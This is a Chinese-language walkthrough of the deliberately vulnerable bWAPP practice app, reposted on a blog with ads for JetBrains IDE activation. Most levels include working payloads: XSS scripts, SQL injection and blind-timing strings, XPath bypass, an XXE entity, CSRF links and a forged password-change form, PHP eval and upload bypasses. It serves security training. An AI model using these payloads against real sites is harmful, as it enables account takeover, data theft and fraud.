bwapp通过教程

bwapp通过教程用户名:bee,密码:bug,点击start登录后即可进行相应测试。HTMLInjection-Reflected(GET)那我们直接开始第一题吧这里有两个框让我们输入,先看看源码这里把我们输入的fistname和lastname直接带进htmli了Htmli是按照我们等级来给函数的,我们看看no_check函数没有过滤就直接输入了,所以我们直接…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

用户名:bee,密码:bug,点击start登录后即可进行相应测试。

bwapp通过教程

HTML Injection – Reflected (GET)

那我们直接开始第一题吧

bwapp通过教程

这里有两个框让我们输入,先看看源码

bwapp通过教程

这里把我们输入的fistname和lastname直接带进htmli了

bwapp通过教程

Htmli是按照我们等级来给函数的,我们看看no_check函数

bwapp通过教程

没有过滤就直接输入了,所以我们直接输入xss代码即可

<script>alert(/xss/)</script>

bwapp通过教程

bwapp通过教程

bwapp通过教程

当然我们还可以这样,在bwapp目录下放置一个图片

<img src=”bugs.txt”>

bwapp通过教程

我们再把难度设置成medium也就是中等难度

bwapp通过教程

这里用了把尖括号换成实体了,但是用了urldecode函数,我们可以把代码先编码成url形式再输入进去

bwapp通过教程

%3cscript%3ealert(%2fxss%2f)%3c%2fscript%3e

bwapp通过教程

再把难度设置成高

bwapp通过教程

看看源码,这里把我们的符号都设置成实体了,所以这是安全的

bwapp通过教程

HTML Injection – Reflected (POST)

这关和上一关是一样的就是换成了POST运输过来了,这里就不一一说明了

bwapp通过教程

bwapp通过教程

HTML Injection – Reflected (URL)

我们可以发现通关url可以传输,所以我们在url中构造语句

bwapp通过教程

抓包把url中添加上?a=<script>alert(/xss/)</script>

bwapp通过教程

bwapp通过教程

中等和高等无法绕过

HTML Injection – Stored (Blog)

直接插入我们的语句即可

<script>alert(/xss/)<script>

bwapp通过教程

中等高等无法绕过

 

OS Command Injection

bwapp通过教程

设置成中等

bwapp通过教程

这里只是把&和;替换掉了,我们一样可以通过

bwapp通过教程

bwapp通过教程

高等无法绕过

bwapp通过教程

OS Command Injection – Blind

这里是根据反应时间判断命令是否成功执行

PHP Code Injection

bwapp通过教程

中等和高等用了htmlspecialchars函数故无法绕过

bwapp通过教程

Server-Side Includes (SSI) Injection

<script>alert(“XSS”)</script>

bwapp通过教程

bwapp通过教程

中等过滤的是单引号双引号反斜杠和null所以我们把双引号改成斜杠即可

<script>alert(/XSS/)</script>

bwapp通过教程

而高等就不行了

SQL Injection (Search/GET)

直接搜索’or 1=1#,爆出所有数据

bwapp通过教程

构造语句爆出数据

‘ union select 1,2,3,4,5,6,7 #

bwapp通过教程

bwapp通过教程

爆出用户名,数据库名

‘ union select 1,user(),database(),4,5,6,7 #

bwapp通过教程

升级到中等,我们可以用报错注入

bwapp通过教程

on’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#

升级到高等漏洞将不复存在

SQL Injection (Search/POST)

这关和上一关是一样的,不多解释

‘ or 1=1#

bwapp通过教程

SQL Injection (Search/CAPTCHA)

一样的

‘ union select 1,user(),database(),4,5,6,7 #

bwapp通过教程

SQL Injection (Select/GET)

And 1=1有值

And 1=2 没值

所有这是数字型注入

bwapp通过教程

bwapp通过教程

中等和高等被过滤了

SQL Injection (Login Form)

这里可以直接使用报错注入来注入,源码中有输出报错信息

‘ and updatexml(1,concat(0x7e,(database()),0x7e),1)–+

bwapp通过教程

bwapp通过教程

中等和高等漏洞修复了

SQL Injection – Stored (Blog)

这是插入语句,我们构造下即可

test’, (select database())) #

bwapp通过教程

中等和高等进行了过滤,无法注入,但好像没有过滤xss

所有用<script>alert(/xss/)</script>

bwapp通过教程

bwapp通过教程

SQL Injection – Blind (Search)

Iron Man’ and sleep(5)#

输入语句发现它沉睡了

说明是sql盲注了

bwapp通过教程

‘ and (if((substr((select version()),1,1)=5),sleep(5),null)) –+

可以看到第一个数字是5,版本号

bwapp通过教程

XML/XPath Injection (Login Form)

账号密码都填1′ or ‘1’ = ‘1即可

bwapp通过教程

中等和高等都进行了过滤

Broken Auth. – Forgotten Function

 

Email用了mysqli_real_escape_string进行过滤

进行暴力激活成功教程即可

bwapp通过教程

bwapp通过教程

Broken Auth. – Insecure Login Forms

用这个账号密码即可

Tonystark

I am Iron Man

然后也可以进行爆破进行登录

bwapp通过教程

bwapp通过教程

Broken Auth. – Logout Management

这是退出页面来的

低级设置是session是没有摧毁的

中等高等是已经摧毁了

bwapp通过教程

bwapp通过教程

bwapp通过教程

Broken Auth. – Password Attacks

bwapp通过教程

这关进行爆破即可

bwapp通过教程

bwapp通过教程

中等多了个salt

bwapp通过教程

高等多了个验证码

bwapp通过教程

Broken Auth. – Weak Passwords

这题考的是弱密码,可以爆破

账号test

密码看等级

test

test123

Test123

bwapp通过教程

Session Mgmt. – Administrative Portals

把admin设置成1即可

bwapp通过教程

bwapp通过教程

中等cookie设置成1

bwapp通过教程

bwapp通过教程

bwapp通过教程

高等session设置成1

bwapp通过教程

Session Mgmt. – Cookies (HTTPOnly)

Cookies中httponly字段设置为false

点击 Click Here ,就可以了

bwapp通过教程

Cookies中httponly字段设置为true

点击Click Here,本地JS脚本无法访问top_security变量值了

bwapp通过教程

服务端可以

bwapp通过教程

高等就是就是把cookie的生存时间,仅有300秒(5分钟)

Session Mgmt. – Session ID in URL

Session直接暴露在url中,三个难度有一样

bwapp通过教程

Session Mgmt. – Strong Sessions

低难度是不安全的

中等

可以观察到top_security_nossl的值是使用了HASH处理

bwapp通过教程

高等

在非SSL情况下,看不到top_security_ssl的值
改用HTTPS后,可以观察到top_security_nossl值

 

XSS – Reflected (GET)

 

<script>alert(/xss/)</script>

bwapp通过教程

中等用了addslashes函数,我们还是一样

<script>alert(/xss/)</script>

高等用了htmlspecialchars过滤了

bwapp通过教程

XSS – Reflected (POST)

和刚刚的get是一样的,就是通关post传输

bwapp通过教程

XSS – Reflected (JSON)

直接闭合即可

“}]}’;alert(/xss/);</script>

bwapp通过教程

中等和高等都过滤了

XSS – Reflected (AJAX/JSON)

低和中等都是一样的

<img src=x οnerrοr=alert(1)>

bwapp通过教程

高等过滤了

XSS – Reflected (AJAX/XML)

低和中等都一样

<img src=x οnerrοr=alert(/xss/)>

bwapp通过教程

XSS – Reflected (Back Button)

抓包把REFERER修改成”><script>alert(/xss/)</script>

bwapp通过教程

bwapp通过教程

中等一样可以用高等不行

XSS – Reflected (Custom Header)

在http头部添加上即可

bWAPP:<script>alert(/xss/)</script>

bwapp通过教程

bwapp通过教程

中等一样

高等过滤了

XSS – Reflected (Eval)

把date值换成alert(/xss/)即可

bwapp通过教程

中等还是一样

高等过滤了

XSS – Reflected (HREF)

闭合即可

/><img src=a.png οnerrοr=alert(/xss/)>

bwapp通过教程

中等和高等使用了urlencode()过滤了

XSS – Reflected (PHP_SELF)

 

低和中等用这个代码<script>alert( /xss/ )</script>

bwapp通过教程

高等不行

XSS – Reflected (Referer)

低和中等一样<script>alert(/xss/)</script>

bwapp通过教程

bwapp通过教程

高等还是用了htmlspecialchars过滤,安全

XSS – Reflected (User-Agent)

修改USER-AGENT即可

bwapp通过教程

bwapp通过教程

中等一样,高等不行

XSS – Stored (Blog)

低和中等一样用<script>alert(/xss/)</script>,高等不行

bwapp通过教程

XSS – Stored (Change Secret)

审查元素把隐藏的类型换成text输入xss代码即可

“><script>alert(/xss/)</script><“

bwapp通过教程

bwapp通过教程

中等和高等换成token验证了

bwapp通过教程

Insecure DOR (Change Secret)

抓包可以修改login修改其他用户的密码

bwapp通过教程

中等和高等加了token验证

Insecure DOR (Reset Secret)

可以任意修改login和secret。

bwapp通过教程

Insecure DOR (Order Tickets)

可以修改价格

bwapp通过教程

Cross-Origin Resource Sharing (AJAX)

本题讲的是AJAX的跨域资源请求问题
在另一台服务器上,修改evil文件夹内的,attack-cors.htm文件中的服务器路径
然后在浏览器运行attack-cors.htm即可

bwapp通过教程

bwapp通过教程

Robots File

Robots文件会暴露你的路径,列如你后台就是admin目录下的文件

bwapp通过教程

Heartbleed Vulnerability

Heartbleed错误允许Internet上的任何人读取受OpenSSL软件易受攻击版本保护的系统的内存。这会破坏用于识别服务提供商的密钥,并加密流量,用户的名称和密码以及实际内容。这允许攻击者窃听通信,直接从服务和用户窃取数据并模仿服务和用户。

Host Header Attack (Reset Poisoning)

传递任意主机头的另一种方法是使用X-Forwarded-Host头。在某些配置中,此标头将重写Host标头的值。因此,可以提出以下请求。

许多Web应用程序依赖于HTTP 主机头来理解“它们在哪里”。

主机头的使用在PHP Web应用程序中尤为常见,但是,它肯定不是PHP Web应用程序特有的问题。以下示例中的PHP脚本是主机头的典型且危险的用法。就bWAPP的这个例子而言

可以看到当低级别的时候,$server = $_SERVER[“HTTP_HOST”],这就很危险了

Insuff. Transport Layer Protection

低是普通运输

bwapp通过教程

中等和高等是https运输的

bwapp通过教程

Text Files (Accounts)

低等级是明文运输,不安全的

中等和高等的将密码进行了sha1加密,但是这还不是很安全,因为还是可以通过字典爆破或者暴力激活成功教程甚至可以通过查表的方式找出密码。而High级别的用的是hash加盐加密技术。

Directory Traversal – Directories

bwapp通过教程

未对输入的目录进行限制,可以访问任意目录。

bwapp通过教程

中等限制了一些符号,但还是可以访问当前目录下的任意文件

bwapp通过教程

bwapp通过教程

而高等不行

Directory Traversal – Files

可以访问上级目录下的文件

bwapp通过教程

中等和高等限制了目录遍历,但是可以在当前目录下访问

Host Header Attack (Cache Poisoning)

修改要访问的目录即可

bwapp通过教程

bwapp通过教程

中等和高等限制了,只能访问固定页面

bwapp通过教程

Remote & Local File Inclusion (RFI/LFI)

修改get即可

bwapp通过教程

中等限制了php后缀的文件,我们是可%00截断的

高等限制了只能这三种语言文件

bwapp通过教程

Restrict Device Access

页面告诉我们要一些固定的设备才成访问,那我们抓包修改User-Agent即可

低,中等和高等都是可以绕过的

bwapp通过教程

Mozilla/5.0(iPhone;U;CPUiPhoneOS4_0likeMacOSX;en-us)AppleWebKit/532.9(KHTML,likeGecko)

bwapp通过教程

bwapp通过教程

Restrict Folder Access

可以直接访问http://192.168.56.1/bwapp/documents/bWAPP_intro.pdf

bwapp通过教程

中等和高等不能访问

bwapp通过教程

Server Side Request Forgery (SSRF)

bwapp通过教程

XML External Entity Attacks (XXE)

抓包把xml代码换了即可

代码块

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "http://192.168.56.1/bWAPP/666">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>

 

bwapp通过教程

CSRF (Change Password)

直接让受害人点击url即可修改密码

http://192.168.56.1/bwapp/csrf_1.php?password_new=bug&password_conf=bug&action=change

bwapp通过教程

中等和高等加多了个输入旧密码,可以弄个html页面让受害者输入进而修改密码

代码块

<!DOCTYPE html>
<html>
    
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>bWAPP - CSRF</title>
</head>
 
<body>
    
<header>
<h1>bWAPP</h1>
</header>    
 
<div id="main">
    
    <h1>CSRF (Change Password)</h1>
 
    <p>Change your password.</p>
 
    <form action="http://192.168.56.1/bwapp/csrf_1.php" method="GET">
        
        <p><label for="password_curr">Current password:</label><br />
        <input type="password" id="password_curr" name="password_curr"></p>
 
        <p><label for="password_new">New password:</label><br />
        <input type="password" id="password_new" name="password_new"></p>
 
        <p><label for="password_conf">Re-type new password:</label><br />
        <input type="password" id="password_conf" name="password_conf"></p>  
 
        <button type="submit" name="action" value="change">Change</button>   
 
    </form>
 
    <br />
</div>
      
</body>
    
</html>

CSRF (Change Secret)

bwapp通过教程

生成的poc让受害者点击一下即可修改成功

bwapp通过教程

中等和高等用了token来防护

CSRF (Transfer Amount)

我们把金额修改成负数的时候,我们的金额会增多

bwapp通过教程

也可以让受害人打开url就会扣钱

http://192.168.56.1/bwapp/csrf_2.php?account=123-45678-90&amount=200&action=transfer

PHP Eval Function

直接在url中添加上?eval=phpinfo();

中等和高等也一样

bwapp通过教程

Unvalidated Redirects & Forwards (1)

抓包把url修改成http://www.baidu.com就会跳转到百度了

bwapp通过教程

bwapp通过教程

中等和高等不能随意跳转了

Unvalidated Redirects & Forwards (2)

抓包修改即可

bwapp通过教程

中等和高等被固定跳转了

bwapp通过教程

ClickJacking (Movie Tickets)

bwapp通过教程

bwapp通过教程

即可

Unrestricted File Upload

可以直接上传任意文件

bwapp通过教程

bwapp通过教程

中等是验证后缀,可以使用截断来绕过

bwapp通过教程

高等是白名单

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/190191.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号